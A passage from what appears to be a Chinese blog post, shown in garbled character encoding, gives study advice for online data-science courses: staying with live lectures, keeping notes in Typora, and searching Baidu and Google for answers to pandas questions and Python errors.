ๅšๆŒๅฌ็›ดๆ’ญ๏ผ\n\nไธŠ่ฟฐๆๅˆฐ็š„ๅฐๅฟƒๆ€ๅ…ถๅฎž้ƒฝๅฏไปฅ็†่งฃ๏ผŒๆˆ‘ไนŸ้ƒฝๆœ‰ไธๆญขไธ€ๆฌก็š„็ปๅŽ†่ฟ‡ใ€‚ไฝ†ไปฅๆˆ‘็š„ไบฒ่บซ็ป้ชŒๆฅ่ฏด๏ผŒๅญฆไน ็š„**ๅ‚ไธŽๆ„Ÿ**ๆ˜ฏๅฐคไธบ้‡่ฆ็š„ใ€‚็†่ฎบไธŠ่ฏด๏ผŒๆ‰€ๆœ‰็š„ๆ•ฐๆฎ็ง‘ๅญฆๅ’ŒAI็›ธๅ…ณๆŠ€ๆœฏ็Ÿฅ่ฏ†้ƒฝๆ˜ฏๅฏไปฅ้€š่ฟ‡็ฝ‘็ปœ่ต„ๆบ่Žทๅ–ๅ’Œ่‡ชๅญฆๅพ—ๅˆฐ๏ผŒไฝ†ๆ˜ฏๆ—ข็„ถ้€‰ๆ‹ฉไบ†็Ÿฅ่ฏ†ไป˜่ดนๆ•™่‚ฒ๏ผŒๅฐฑๆ˜ฏ้€‰ๆ‹ฉไบ†็›ธไฟกไป˜่ดนๆ•™่‚ฒๅฏไปฅๅธฆๆฅ็Ÿฅ่ฏ†็š„้ซ˜ๆ•ˆ่Žทๅ–ใ€ๅฎ‰ๆŽ’็š„็ตๆดปไพฟๅˆฉๅ’Œๆœ‰ๆ•ˆ็š„็›‘็ฃไฟƒ่ฟ›๏ผŒ้‚ฃไนˆไนŸๅฐฑๅบ”่ฏฅ่ƒฝ็†่งฃๅˆฐ็ดง่ทŸ่ฏพ็จ‹่ฟ›ๅบฆไธๆŽ‰้˜Ÿ๏ผŒๆ‰่ƒฝไฟ่ฏ้’ฑๆฒกๆœ‰็™ฝ่Šฑ๏ผŒๅ…ถไธญๅญฆไน ็š„่ฟ‡็จ‹ไผšๆ˜ฏ่‡ชๅทฑไธ€ๆญฅไธ€ไธช่„šๅฐไธๆ–ญๅœจ่ฟ›ๆญฅ็š„่ฟ‡็จ‹ใ€‚่‡ช็„ถๅœฐ๏ผŒ**ๅšๆŒๅฌ็›ดๆ’ญ**ไนŸๆ˜ฏไบง็”Ÿๅฏน่‡ชๅทฑ็งฏๆžๆš—็คบ็š„ๆœ€็›ดๆŽฅ้€”ๅพ„๏ผŒไธไป…ๅฏไปฅๅขž่ฟ›่‡ชๅทฑๆญฃๅœจไธŠ่ฟ›ๅญฆไน ็š„่‡ชๆˆ‘็›‘็ฃๆ„Ÿ๏ผŒ่ฟ˜ๅฏไปฅๅœจ็›ดๆ’ญ่ฟ‡็จ‹็š„ไบ’ๅŠจไธญ๏ผŒๆ›ดๅฎนๆ˜“่พนๅฌ่พน่”ๆƒณ๏ผŒๆ้ซ˜ๅฏน็Ÿฅ่ฏ†็‚น็š„่ฎฐๅฟ†ๅ’Œ็†่งฃ่ƒฝๅŠ›๏ผˆๅ…ณไบŽไบบ็ฑป่ฎฐๅฟ†็š„ๆœฌ่ดจๆ˜ฏ่”่ง‰่ฟ™ไธช่ฏ้ข˜ๅฐฑไธๅฑ•ๅผ€ไบ†โ€ฆ๏ผ‰\n\n\n\n่‡ณไบŽ่ฏด๏ผŒๅœจ็บฟไธŠๅญฆไน ็š„่ฟ‡็จ‹ไธญ็ฉถ็ซŸๅฆ‚ไฝ•ๆ›ด้ซ˜ๆ•ˆ็š„ๆ€ป็ป“ๅ’Œ่ฎฐๅฟ†็Ÿฅ่ฏ†ๅ‘ข๏ผŸ่ฟ™ๅฐฑๆ˜ฏไธ‹้ข็š„่ฏ้ข˜ไบ†ๅ“ˆ๏ผ\n\n\n\n---\n\n# ไธ‰ใ€ๅšๅฅฝ็ฌ”่ฎฐๆ˜ฏๅœจ็บฟๅญฆไน ็š„ไธไบŒๆทๅพ„\n\n- ็”จๅฟƒ\n\nๅ…ถๅฎž๏ผŒ่ฐ้ƒฝ็Ÿฅ้“ๅš็ฌ”่ฎฐ่ฟ™ไปถไน ไปฅไธบๅธธ็š„ๅฐไบ‹ใ€‚่‹ฅๆŒ‰็…ง็ฌ”่ฎฐๅ†…ๅฎนๆฅๅŒบๅˆ†๏ผŒ่ฟ˜ๅฏไปฅๅˆ†ไธบๅญฆไน ็ฌ”่ฎฐ๏ผŒ่ฏปไนฆ็ฌ”่ฎฐ๏ผŒ่ง‚ๅฝฑ็ฌ”่ฎฐ๏ผˆ่ง‚ๅŽๆ„Ÿ๏ผ‰ๅ’Œๅฟƒๆƒ…็ฌ”่ฎฐ๏ผˆ้š็ฌ”๏ผ‰็ญ‰็ญ‰ใ€‚็„ถ่€Œ๏ผŒๆˆ‘ๅœจ่ฟ™้‡Œๆƒณๅผบ่ฐƒ็š„ๅ…ณ้”ฎๆ˜ฏ๏ผš**ไธบไป€ไนˆ่ฆๅš็ฌ”่ฎฐใ€‚**่ฟ™ๆ˜ฏๅ…ณไนŽๅˆฐ็ฌ”่ฎฐ่ฏฅๅฆ‚ไฝ•ๅญ˜ๅœจ็š„ๆœฌ่ดจ้—ฎ้ข˜ใ€‚ๅฆ‚ๆžœไธๅŒบๅˆ†็ฌ”่ฎฐ็š„็ฑปๅž‹ๅ’Œๅ†…ๅฎน๏ผŒ้ž่ฆๆˆ‘ไธ€่ฏญไธญ็š„่ฏด็ฌ”่ฎฐๅบ”่ฏฅๆ€Žไนˆๅš็š„่ฏ๏ผŒๆˆ‘ไผšๆ•…ไฝœๅนณ้™็š„ๅ‘Š่ฏ‰ไฝ ๏ผš**ๅฅฝ็ฌ”่ฎฐๆ˜ฏ่ฆ็”จๅฟƒๅšๅ‡บๆฅ็š„**ใ€‚\n\n\n\n- ็ฌ”่ฎฐ่ฝฏไปถๆŽจ่: **Typora**\n\nไฝ ๅœจ็บฟไธŠๅ‚ๅŠ ่ฏพ็จ‹ๅญฆไน ็š„ๆ—ถๅ€™๏ผŒ่‚ฏๅฎšไผšๆœ‰่ฟ™ๆ ท็š„ๆ„Ÿๅ—๏ผš่ต„ๆ–™ๅฅฝๅคšๅ•Š๏ผไปŽ่ฎฒๅธˆ็š„ๆŽˆ่ฏพ่ฎฒไน‰๏ผŒ็›ดๆ’ญๅฃ่ฟฐ็š„็Ÿฅ่ฏ†ไฟกๆฏ๏ผŒๅ†ๅˆฐไฝ ่งฃๅ†ณbug็œ‹่ฟ‡็š„ๆŠ€ๆœฏๅšๆ–‡ๅ’Œ้ซ˜ๆ‰‹็ป™่ฟ‡ไฝ ็š„็ญ”็–‘่งฃๆƒ‘๏ผŒ่ฟ˜ๆœ‰ๅ„็ง็”ตๅญไนฆ็ฑๅ’Œๆ•™็จ‹๏ผŒ่ฟ™ไบ›็Ÿฅ่ฏ†็š„ๆฅๆบๆธ ้“ๅพˆๅคšไนŸๅพˆ็นๆ‚๏ผŒไธๅฏ่ƒฝๅ†ๅƒไธญๅญฆๆ—ถ็Ÿฅ่ฏ†็š„ๆฅๆบๅชๆœ‰ไนฆๆœฌๅ’Œไปป่ฏพ่€ๅธˆไบ†ใ€‚ๆญคๅค–๏ผŒIT็ฑปๅž‹็š„ๆŠ€ๆœฏ็Ÿฅ่ฏ†ๅคงๅคšไผšๆถ‰ๅŠๅˆฐๅพˆๅคšไปฃ็ ๏ผŒๆ˜พ็„ถไธๅฏ่ƒฝๆ‹ฟไธชๅฐๆœฌๆœฌๆ‰‹ๅ†™๏ผŒๆ›ดไฝ•ๅ†ตๅคงๅคš้ƒฝๆ˜ฏ็”ตๅญ็‰ˆๆœฌ็š„ๅฝขๅผๅ‘ˆ็Žฐใ€‚ๆ‰€ไปฅ๏ผŒไธๅฏ้ฟๅ…็š„้œ€่ฆๅญฆไผšๅœจ็”ต่„‘ไธŠๅš็ฌ”่ฎฐ๏ผŒ็„ถๅŽๅฐฑๆ˜ฏ้œ€่ฆๆ นๆฎไธชไบบไน ๆƒฏๆฅ่ฐˆไบ†ใ€‚ๆˆ‘ๆ˜ฏ้ƒฝๅœจ**Typora**ไธŠๅš็ฌ”่ฎฐ็š„๏ผŒ็”ฑไบŽ็ฏ‡ๅน…ๆ‰€้™๏ผŒๅฐฑไธๆ›ดๅคšๅฎ‰ๅˆฉๆญค่ฝฏไปถไบ†๏ผŒ่ฏฆ็ป†่ฏทๅ…ˆ็™พๅบฆใ€‚๏ผˆโ€œไฝœไธš้ƒจ่ฝโ€ไธŠๅš็ฌ”่ฎฐไนŸๆ˜ฏไธ€ไธชไธ้”™็š„้€‰ๆ‹ฉ๏ผŒๅฎƒๆœ‰็€ๅฎŒๅค‡็š„ markdown ๅ’Œ Math ไปฅๅŠๅฎŒ็พŽไปฃ็ ๅ—ๆธฒๆŸ“๏ผŒ่กŒ้—ด่ฏ„่ฎบ็ณป็ปŸ้žๅธธๆฃ’๏ผŒไนŸๅฏไปฅๅ‘ๅธƒๆ–‡็ซ ๏ผŒๅ”ฏไธ€็š„ๅคง็ผบ็‚นๅฐฑๆ˜ฏๆฒกๆœ‰็คพไบคๅŒ–ๅนณๅฐ๏ผ‰\n\n\n\nP.S๏ผš้™คไบ†็ผ–็จ‹็ฎ—ๆณ•ๆŠ€ๆœฏๅค–็š„ๆ•ฐๅญฆ็†่ฎบ็Ÿฅ่ฏ†ๆ˜ฏไธ้€‚ๅˆๅœจ PC ไธŠๅš็”ตๅญๅŒ–็ฌ”่ฎฐ็š„๏ผŒๅช่ƒฝไผ ็ปŸ็š„ๆ‰‹ๅ†™็ฌ”่ฎฐๆ‰่ƒฝ่ฎฐๅˆฐ่„‘ๅญ้‡Œ๏ผŒๅˆ‡่ฎฐใ€‚ใ€‚ใ€‚ใ€‚\n\n\n\n- Teaching is Learning\n\nๆŽฅไธ‹ๆฅ๏ผŒๅฐฑๆ˜ฏ่ฆ่ฏดๅ…ณ้”ฎไบ†๏ผš**ไฝ ๅš็š„็ฌ”่ฎฐๆ˜ฏๅ†™็ป™ๆœชๆฅ็š„่‡ชๅทฑ็œ‹็š„**ใ€‚ๅœจ็ฝ‘็ปœไธŠๅฌ็›ดๆ’ญๅญฆไน ็š„่ฟ‡็จ‹ไธญ๏ผŒไธบไบ†่Š‚็œๆ—ถ้—ดๅ’Œๆ้ซ˜ๅญฆไน ๆ•ˆ็Ž‡๏ผŒ็œ‹็›ดๆ’ญๅ›žๆ”พ็š„ๆฌกๆ•ฐๅบ”่ฏฅๅฐฝๅฏ่ƒฝ็š„ๅฐ‘๏ผŒไธ่ƒฝ็จๆœ‰็‚นๆƒณไธ่ตทๆฅ็š„็Ÿฅ่ฏ†็‚น้ƒฝ่ฆ็œ‹ๅ›žๆ”พๆ‰พ็›ธๅ…ณ็š„่ฏดๆ˜Žๅ’Œไปฃ็ ๅง๏ผŸๆ‰€ไปฅ่ฏด๏ผŒไฝ ๅœจ็บฟๅญฆไน ๆ•ฐๆฎ็ง‘ๅญฆๅš็ฌ”่ฎฐ็š„ๆœ€้ฆ–่ฆ็š„็›ฎๆ ‡๏ผŒ้‚ฃๅฐฑๆ˜ฏๅฐฝๅฏ่ƒฝ็š„ๅฐ†็›ดๆ’ญ่ง†้ข‘ไธญไฝ ่ฎคไธบๆœ‰ๅฟ…่ฆ็š„่ฎฐๅฝ•ไธ‹็š„ๅ†…ๅฎน่ฎฐไธ‹ๆฅ๏ผŒๅฐฑไธบ็š„ๆ˜ฏๅ†ๅ›žๅฟ†ๆŸไธช่ฎฐไธๅคชๆธ…็š„็Ÿฅ่ฏ†็‚นๆˆ–่€…ไปฃ็ ๅ†…ๅฎน็š„ๆ—ถๅ€™๏ผŒๅช้œ€่ฆsearch่‡ชๅทฑ็š„็ฌ”่ฎฐๅณๅฏ๏ผŒไนŸๅฐฑๆ˜ฏ่ฏด่ฎฉ็ฌ”่ฎฐไธŠ็š„ๅ†…ๅฎน่ƒฝๅคŸ่ฆ†็›–็›ดๆ’ญ่ง†้ข‘ไธญไฝ ่ง‰ๅพ—ๆœ‰ไปทๅ€ผ็š„ๆ‰€ๆœ‰ไฟกๆฏ๏ผŒไฟ่ฏ**็›ดๆ’ญๅ›žๆ”พๅช็œ‹ไธ€ๆฌก**ใ€‚ๆญคๅค–๏ผŒ็”ฑไบŽๅœจ็”ต่„‘ไธŠๅš็ฌ”่ฎฐๆœ‰็€ๅฏไปฅๅฟซ้€Ÿๅฝ•ๅ…ฅไฟกๆฏ๏ผŒไปฃ็ ๆ ผๅผๆ ‡ๅ‡†๏ผŒ่ฟ˜ๅฏไปฅ้šๆ—ถๆทปๅ…ฅๆ–ฐไฟกๆฏ็ญ‰็‰น็‚น๏ผŒๆ‰€ไปฅๅœจไฝ ่‡ชๅทฑ็š„่ฏพ็จ‹็ฌ”่ฎฐๅŸบ็ก€ไธŠ๏ผŒ่ฟ˜ๅฏไปฅ่ฟ›ไธ€ๆญฅๅ†™ๆธ…ๆฅšๅฆ‚ไฝ•่งฃๅ†ณ็š„ๆŸๆŠฅ้”™ไฟกๆฏใ€่ธฉ่ฟ‡็š„ๅ‘ใ€่Šฑไธๅฐ‘็ฒพๅŠ›ๆžๆ‡‚็š„ไปฃ็ ่ฏฆ่งฃใ€ๅ„็ง็‰›ไบบๆˆ–ๅšๆ–‡ๅฏนๅŒไธ€ไธช้—ฎ้ข˜ๆˆ–่€…็Ÿฅ่ฏ†็‚น็š„็†่งฃ็ญ‰็ญ‰๏ผŒ้ƒฝๅฏไปฅๆ€ป็ป“ๅ’Œ่ฎฐๅฝ•ไธ‹ๆฅใ€‚่ฟ™ๆ ทๅ†™็š„็›ฎ็š„ๆ˜ฏไป€ไนˆๅ‘ข๏ผŸๅฐฑๆ˜ฏ็ป™ไฝ ๆœชๆฅ็š„่‡ชๅทฑ็œ‹็š„๏ผŒๅนถไธ”็”จ่‡ชๅทฑ็š„ๅฃๅปๅ†™็ป™ๆœชๆฅ\"ๆ„š็ฌจ\"็š„่‡ชๅทฑ๏ผˆๅ…ถๅฎž๏ผŒ่ฟ™้‡Œ็š„ๅญฆไน ๆŠ€ๅทงๆœฌ่ดจๅซๅš**่ดนๆ›ผๆŠ€ๅทง**๏ผŒไธๅฑ•ๅผ€่ฐˆไบ†๏ผ‰ใ€‚้‚ฃไนˆๅ‘ผๅบ”ๅ›žไธŠ้ข่ฏด็š„๏ผŒ็œŸๆญฃ\"็”จๅฟƒ\"็š„ๅŽปๆ€่€ƒๆ€Žไนˆๅš็ฌ”่ฎฐ็ป™่‡ชๅทฑ็š„ๆ—ถๅ€™๏ผŒ่‡ช็„ถๅœฐไผšๅšๅ‡บๆ›ด้ซ˜ๆ•ˆ๏ผŒๆ›ด้€‚ๅˆ่‡ชๅทฑ็š„็ฌ”่ฎฐๆฅใ€‚\n\n\n\nไธ‹้ข่ดดไธ€ไธชๆˆ‘่‡ชๅทฑๅฌๅฎŒPythonๅ’ŒPandas่ฏพ็š„็ฌ”่ฎฐๅฐๆˆชๅ›พ๏ผŒ้ƒฝๆ˜ฏๆ…ขๆ…ข่กฅๅ……่‡ชๅทฑๅ†™็š„๏ผŒๅฏ่งไธ€ๆ–‘ๅงใ€‚\n\n![](https://i.loli.net/2018/01/16/5a5d842dc14ab.png) \n\n![](https://i.loli.net/2018/01/16/5a5d85ec5a159.png)\n\n\n\n\n\n---\n\n# ๅ››ใ€่‡ชๅญฆ่ทฏไธŠๅฟ…ไผšไน‹ \"ไธŠไธ‹ๆฑ‚็ดข็š„ๆŠ€่ƒฝ\"\n\nๆญฃๅฆ‚ๆˆ‘ไปฌๅœจไธŠ้ข่ฐˆๅˆฐ็š„๏ผŒ็บฟไธŠ่ฏพ็จ‹ๅญฆไน ็š„่ฟ‡็จ‹ไธญ**ๅฟ…็„ถ**ไผš้‡ๅˆฐๅ„็งๅ„ๆ ท็š„ๅ‘ๆˆ–่€…bugใ€‚้‚ฃไนˆไฝ ่ฏฅๅฆ‚ไฝ•้ขๅฏนๅ‘ข๏ผŸ\n\n\n\n้ฆ–ๅ…ˆ๏ผŒ่ฆๆ‘†ๆญฃไธ€ไธช**ๆญฃ็กฎ็š„ๆ€ๅบฆ**ใ€‚IT็›ธๅ…ณๆŠ€ๆœฏ็š„ๅญฆไน ็‰น็‚นๆ˜ฏ๏ผšๆฒกๆœ‰ๅ“ชไธชไบบไผš็Ÿฅ้“ๆ‰€ๆœ‰็š„็ญ”ๆกˆ๏ผŒไฝ†ๆ‰€ๆœ‰ไธŽ็ญ”ๆกˆ็›ธๅ…ณ็š„ไฟกๆฏ้ƒฝไธ€ๅฎš่ƒฝๅœจไบ’่”็ฝ‘ไธŠๆ‰พๅˆฐใ€‚่ฟ™ไนŸๅฐฑๆš—็คบไบ†ๆ•ฐๆฎ็ง‘ๅญฆๅ’ŒAIๆŠ€ๆœฏ็š„ๅญฆไน ไธ€ๅฎšๆ˜ฏไนŸๅช่ƒฝๆ˜ฏไปฅ**่‡ชๅญฆ**็š„ๆ–นๅผ่Žทๅ–็Ÿฅ่ฏ†ๅ’ŒๆŠ€่ƒฝไธบ้€”ๅพ„็š„ใ€‚ๆฒกๆœ‰ไบบ่ƒฝ็ป™ไฝ ๆ‰“ๅŒ…็ฅจๆˆ–ๆไพ›ๆ‰€ๆœ‰ไฝ ๆ‰€้œ€ๅ’Œๆœ€้€‚ๅˆไฝ ็š„่ต„ๆบๅŽปๅญฆไน ๏ผŒๅœจ่‡ชๅญฆ็š„้“่ทฏไธŠ๏ผŒ้ ๅฑฑ้ ๅœฐ๏ผŒไธๅฆ‚้ ่‡ชๅทฑ๏ผๆ‰€ไปฅ๏ผŒๅƒไธ‡ไธ่ฆๆœ‰ไปปไฝ•็ญ‰็€ๆŠฑๅคง่…ฟๆˆ–่€…่ฝป่ฝปๆพๆพใ€ไธ็Ÿฅไธ่ง‰ๅฐฑ่ƒฝๆˆไธบAI็ฎ—ๆณ•ๅทฅ็จ‹ๅธˆไน‹็ฑป็š„่‡†ๆƒณใ€‚\n\n\n\nไบ‹ๅฎžไธŠ๏ผŒๅฆ‚ๆžœไฝ ๅคš็•™ๆ„ๅฐฑไผšๅ‘็Žฐ๏ผŒ้ซ˜ๆ‰‹้ƒฝๆœ‰ๅพˆๅผบ็š„ๅฏปๆ‰พ็ญ”ๆกˆ็š„่ƒฝๅŠ›๏ผŒๆœ‰ๆ—ถๅ€™ๅœจ่ฎจ่ฎบ็พค้‡Œไป–ไปฌๅ›ž็ญ”้—ฎ้ข˜็š„ๆ—ถๅฐฑๆ˜ฏ็ป™ไฝ ไธ€ไธช้“พๆŽฅ้‚ฃไนˆ็ฎ€ๅ•๏ผŒ้‡Œ้ขๅฏ่ƒฝๆ˜ฏๆŸๅ›ฝๅ†…ๅค–่ฎบๅ›ไธŠ็š„ไธ€ไธช่ฎจ่ฎบๅธ–๏ผŒไฝ†ๆ˜ฏๅœจ่ฏ„่ฎบๅŒบๆŸไธชไบบ็ป™็š„ๆŸๆŸๅ›žๅคๅฐฑๅฏไปฅๅฎŒ็พŽ่งฃๅ†ณไฝ ้—ฎ้ข˜ใ€‚่ฟ™็ง\"้ซ˜ๆ‰‹\"ๆ˜ฏๅฆ‚ไฝ•็‚ผๆˆ็š„๏ผŸ่ฟ™ๅฐฑๆ˜ฏๆˆ‘ๆƒณ่ฆๆ™ฎๅŠไธ€ไธชๅพˆๅฐ‘ๆœ‰ไบบๅผบ่ฐƒ๏ผŒไฝ†ๆ˜ฏๆƒณๅ…ฅ้—จไธ€ไธชITๆŠ€ๆœฏๅฐฑๅฟ…้กปไผš็š„ๆŠ€่ƒฝ๏ผš**ๆœ็ดข**ใ€‚\n\n\n\nๅ‰้ขๅทฒ็ปไปŽ็†่ฎบๅ’Œ็Žฐๅฎž็š„่ง’ๅบฆไธŠๆๅŠๅพˆๅคšๆฌกไธบๅ•ฅ่ฆๅ…ˆ่‡ชๅทฑๆœ็ดข็ญ”ๆกˆไบ†๏ผŒๆ‰€ไปฅๆˆ‘ไธป่ฆ่ฏด่ฏดๅฆ‚ไฝ•ๆœ็ดขๆ‰พๅˆฐไฝ ๆƒณ่ฆ็š„็ญ”ๆกˆใ€‚ๅ†่ฏด็™ฝไบ†๏ผŒๅฐฑๆ˜ฏ**่ฆๅ……ๅˆ†ๅˆฉ็”จ็™พๅบฆๅ’ŒGoogleๆœ็ดข**๏ผ\n\n\n\n้ฆ–ๅ…ˆ๏ผŒๅœจ่‡ชๅทฑๆœ็ดข็ญ”ๆกˆ็š„ๆ—ถๅ€™ๅฟƒไธญ่ฆ่ฎฐๅพ—่ฟ™ๆ ทไธ€ไธช\"็œŸ็†\"๏ผšโ€็†่ฎบไธŠ๏ผŒๆˆ‘็Žฐๅœจ้‡ๅˆฐ็š„่ฟ™ไธช้—ฎ้ข˜๏ผŒไธ€ๅฎšๅฏไปฅๆ‰พๅˆฐๅœจ็ฝ‘็ปœไธŠ็š„ๆŸไธช่ง’่ฝๅฏไปฅๆ‰พๅˆฐ็›ธๅ…ณ่ฟ™ไธช็ญ”ๆกˆ็š„่››ไธ้ฉฌ่ฟน~~โ€œใ€‚็„ถๅŽ๏ผŒๅฏไปฅๅ…ˆ่ฏ•ไธ€่ฏ•็™พๅบฆไธญๆœ็ดขๅ…ณ้”ฎ่ฏ๏ผŒๅ› ไธบๆ— ้œ€็ฟปๅข™๏ผŒๅ“ๅบ”้€ŸๅบฆไนŸๅคŸๅฟซ๏ผŒๆ›ด้‡่ฆ็š„ๆ˜ฏๅฏนไธญๆ–‡็š„ๆ”ฏๆŒ่ฆ็จๅพฎๅฅฝไธ€ไบ›๏ผˆ่ฏทๆš‚ๆ—ถๅฎนๅฟไธ€ไผšๆ— ่‰ฏ็š„็™พๅบฆๅนฟๅ‘ŠๆŽจๅนฟ๏ผ‰ใ€‚\n\n\n\nๆฏ”ๆ–น่ฏดไฝ ๅฟ˜่ฎฐไบ†Dataframeไธญๅฏนๅฆ‚ไฝ•้šๆœบๆŠฝๅ–ๆŸๆ•ฐ้‡็š„ๆ ทๆœฌ๏ผˆๅ–่กจๆ ผ็š„ๆŸๅ‡ ่กŒ๏ผ‰๏ผŒไฝ ๅฐฑ้œ€่ฆๅ…ˆๆž„ๆ€็”จไป€ไนˆๅ…ณ้”ฎ่ฏๅˆ้€‚ไบ†ใ€‚**ๅ…ณ้”ฎ่ฏๅ–็š„่ถŠๅคš๏ผŒๆ˜พ็คบ็š„็ฝ‘้กตไฟกๆฏไผš่ถŠๅ‡†็กฎ็›ธๅ…ณ๏ผŒไฝ†ๆ˜ฏ็œŸๆญฃ็›ธๅ…ณ็š„็ฝ‘้กตๆก็›ฎ่ถŠๅฐ‘ใ€‚ๅ…ณ้”ฎ่ฏๅ–็š„่ถŠๅฐ‘๏ผŒ่‡ช็„ถๅœฐๆœ็ดข็ป“ๆžœไผš่ถŠๆณ›ๆณ›ใ€‚ๆˆ‘็š„ไน ๆƒฏๆ˜ฏๅ…ˆ็”จๅฐฝ้‡ๅฐ‘็š„ไฝ†ๆœ€็›ธๅ…ณ็š„ๅ…ณ้”ฎ่ฏๅŽปๆœ็ดข๏ผŒ็„ถๅŽๅ†ๆ…ขๆ…ข่ฎฉๆœ็ดข่ฆๆฑ‚ๅ˜ๆพใ€‚**\n\n\n\nๅฏนไบŽไธŠ้ข็š„ไพ‹ๅญ๏ผŒๆˆ‘ไผšๅ€พๅ‘ไบŽๆœ็ดขๅ…ณ้”ฎ่ฏ๏ผšโ€pandas ้šๆœบ ่กŒโ€œใ€‚pandasๅฐฑๆ˜ฏpython็š„ไธ€ไธชๅบ“๏ผŒๆ‰€ไปฅๆœ‰ไบ†pandas๏ผŒๅฐฑๆฒกๆœ‰ๅฟ…่ฆๅ†™python๏ผŒๅ…ถไป–ไธคไธชๅ…ณ้”ฎ่ฏๆ˜ฏๆˆ‘ๅ‡่ฎพ่ฆๆœ็ดขๅˆฐ็š„็ฝ‘้กตไธŠ๏ผŒ่‡ณๅฐ‘ๅฟ…็„ถไผšๆœ‰็š„่ฏๆฑ‡ใ€‚ๅ‰ๅ‡ ไธชๆœ็ดข็ป“ๆžœๅฆ‚ไธ‹๏ผš\n\n![](https://i.loli.net/2018/01/16/5a5d97602b4bc.png)\n\nๅฟซ้€Ÿ็”จ็œผ็›ๆ‰ซ่ฟ‡ไธŠ้ขๆฏไธชๆœ็ดข็ป“ๆžœ๏ผŒ้˜…่ฏป็บข่‰ฒๅ…ณ้”ฎๅญ—ๅœจ่ฏฅ่กŒๆ‰€่ฆ่กจ่พพ็š„ๅซไน‰๏ผŒๅฐฑ็ซ‹้ฉฌ็Ÿฅๆ™“็ฌฌๅ››ไธช็ฝ‘้กตๆœ‰ไฝ ๆƒณ่ฆ็š„็ญ”ๆกˆ๏ผŒๅŽŸๆฅๆ˜ฏpandas็š„sampleๅ‡ฝๆ•ฐ๏ผGoogleๅ’Œ็™พๅบฆๆœ็ดข้ƒฝๅฏไปฅๅพˆๅฅฝ็š„ๅฐ†ๅ…ณ้”ฎ่ฏๆ ‡่ฎฐๅœจๆœ็ดข็ป“ๆžœไธŠ๏ผŒๆœ็ดขๅผ•ๆ“Ž็š„่ฟ™ไธชๅŠŸ่ƒฝๅฏไปฅ่ฎฉๆˆ‘ไปฌไบ‹ๅŠๅŠŸๅ€็š„ๆ‰พๅˆฐ็ญ”ๆกˆ๏ผˆๅฑ…็„ถไนŸๆœ‰ๆฒก่ฟ™็งๅŠŸ่ƒฝ็š„ๆœ็ดขๅผ•ๆ“Ž๏ผŒYahoo๏ผๆฒก้”™๏ผŒ่ฏด็š„ๅฐฑๆ˜ฏไฝ ๏ผ๏ผ‰ใ€‚\n\n\n\nๆ—ข็„ถ**ๆœ‰็™พๅบฆๆœ็ดขไธบๅ•ฅ่ฟ˜่ฆ็”จGoogleๅ‘ข๏ผŸ**่ฟ™ไธช้—ฎ้ข˜็š„็ญ”ๆกˆไธŽไธบๅ•ฅๆˆ‘ไปฌๆ‰€ๆœ‰็š„้”ฎ็›˜ไธŠ้ƒฝๆ˜ฏๅ†™็€26ไธช่‹ฑๆ–‡ๅญ—ๆฏๆ˜ฏไธ€ๆ ท็š„๏ผŒๅ› ไธบITๆŠ€ๆœฏ้ƒฝๆ˜ฏๅค–ๅ›ฝไบบๅ‘ๆ˜Ž็š„ใ€‚ใ€‚ใ€‚้‚ฃไนˆ๏ผŒไฝ ไนŸๅฐฑๅฏไปฅ็†่งฃๅฏนไบŽๅพˆๅคš้žๅธธ็ป†่Š‚็š„bugๆŠฅ้”™ๆˆ–่€…ๆ›ดๅŠ ไธ“ไธš็ป†่‡ด็š„่งฃ็ญ”๏ผŒ้ƒฝไผšๅœจๅ›ฝๅค–็š„่‹ฑๆ–‡็ฝ‘้กตไธŠๆ‰พๅˆฐ็ญ”ๆกˆใ€‚ๅ›ฝๅค–็š„ๆŠ€ๆœฏ็คพๅŒบไธ€่ˆฌ้ƒฝๆ›ดๆดป่ทƒ๏ผŒ็‰›ไบบๆ›ดๅคšไนŸๆ›ด็‰›ใ€‚ๆ‰€ไปฅ๏ผŒๆŠŠไฝ ๅซๆœ‰ๅ…ณ้”ฎไฟกๆฏ็š„ๆŠฅ้”™ไฟกๆฏๆ‰”ๅˆฐGoogle้‡Œ๏ผŒไผšๆ›ดๅฎนๆ˜“ๅพ—ๅˆฐ็›ธๅ…ณ็š„่งฃ็ญ”ไฟกๆฏ๏ผŒ็”š่‡ณๅฏไปฅๆ‰พๅˆฐๅฏนๅบ”็š„ๅผ€ๆบๆบ็ ใ€‚ๆฏ”ๅฆ‚ไธ‹้ขๆˆ‘้šไพฟๅœจ็™พๅบฆไธŠๆ‰พ็š„ๆŠฅ้”™ๆˆชๅ›พ:\n\n![](https://i.loli.net/2018/01/16/5a5d9e4832e5c.jpeg)\n\n```shell\nArrtibuteError: '_NamespacePath' object has no attribute 'sort'\n```\n\n่ฟ™็ฉถ็ซŸๆ˜ฏไป€ไนˆๆ„ๆ€ๅ‘ข? ๆŠŠๅ…ณ้”ฎๆŠฅ้”™ไฟกๆฏๆ‰”ๅˆฐGoogle้‡Œ็œ‹็œ‹:\n\n![](https://i.loli.net/2018/01/16/5a5d9fdad7099.png)\n\n\n\nๅฏไปฅ็œ‹ๅˆฐ่ฟ™ไธชๆŠฅ้”™ๅœจGithubไธŠ็š„ไธๅŒไปฃ็ ไป“ๅบ“ไธญๆœ‰่ฎจ่ฎบๅˆฐ๏ผŒ่ฟ˜ๆœ‰่‘—ๅ็š„stackoverflow่ฎบๅ›ไธŠไนŸๆœ‰ๅธ–ๅญ๏ผŒ้€ไธช็‚น่ฟ›ๅŽปๆŸฅ็œ‹ๆ˜ฏๅฆไธŽ่‡ชๅทฑ็š„ๆƒ…ๅ†ต็ฑปไผผๅฐฑ่ƒฝๆ‰พๅˆฐ็ญ”ๆกˆ็š„่››ไธ้ฉฌ่ฟนๅ•ฆใ€‚่‡ณไบŽๅฆ‚ไฝ•่ฟ›ไธ€ๆญฅๆ้ซ˜่‡ชๅทฑ็š„ๆœ็ดขๆฐดๅนณ๏ผŒ่ฏท่‡ช่กŒๆœ็ดข๏ผ\n\n\n\nๆ€ปไน‹๏ผŒๅฐฑ่ฟ˜ๆ˜ฏ้‚ฃๅฅ่ฏ๏ผš\n\n> ๅช่ฆไฝ ๆƒณ่ฆ็š„ๆฒกๆœ‰ๆ‰พไธๅˆฐ็š„๏ผๅ› ไธบๅ–„ไบŽๆœ็ดข๏ผŒๆ‰€ไปฅไบ†่งฃไธ–็•Œใ€‚\n>\n> Because itโ€™s there๏ผ\n\n๏ผˆ้™„๏ผšๅ…็ฟปๅข™็š„่ฐทๆญŒๆœ็ดขๆ–นๆกˆ๏ผšhttp://dir.scmor.com/๏ผ‰\n\n\n\n---\n\n# ไบ”ใ€่‡ชๅญฆ่ทฏไธŠๅฟ…ไผšไน‹ 